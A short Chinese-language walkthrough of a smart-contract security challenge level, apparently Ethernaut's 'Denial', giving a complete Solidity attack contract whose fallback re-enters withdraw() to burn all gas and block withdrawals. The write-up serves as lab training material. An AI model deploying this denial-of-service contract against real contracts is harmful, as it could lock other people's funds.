本關需要阻止其他人從fund中withdraw以太幣,亦即要阻止withdraw函數的運行。
觀看關卡代碼,可以看見在withdraw函數中,有以下代碼︰
partner.call.value(amountToSend)("");
代碼中的partner可透過上方的setWithdrawPartner函數來設定。因此只要把partner設定為智能合約地址,即可使用Re-entrancy中的技巧,於另一合約中重複呼叫withdraw函數,直至把gas用光,函數無法繼續執行。
打開Remix IDE,新建檔案Denial.sol貼上︰
pragma solidity ^0.8.0;
interface IDenial {
function withdraw() external;
function setWithdrawPartner(address _partner) external;
}
contract Denial {
address levelInstance;
constructor(address _levelInstance) {
levelInstance = _levelInstance;
}
fallback() external payable {
IDenial(levelInstance).withdraw();
}
function set() public {
IDenial(levelInstance).setWithdrawPartner(address(this));
}
}
然後發送,呼叫set函數。最後按提交,本關完成。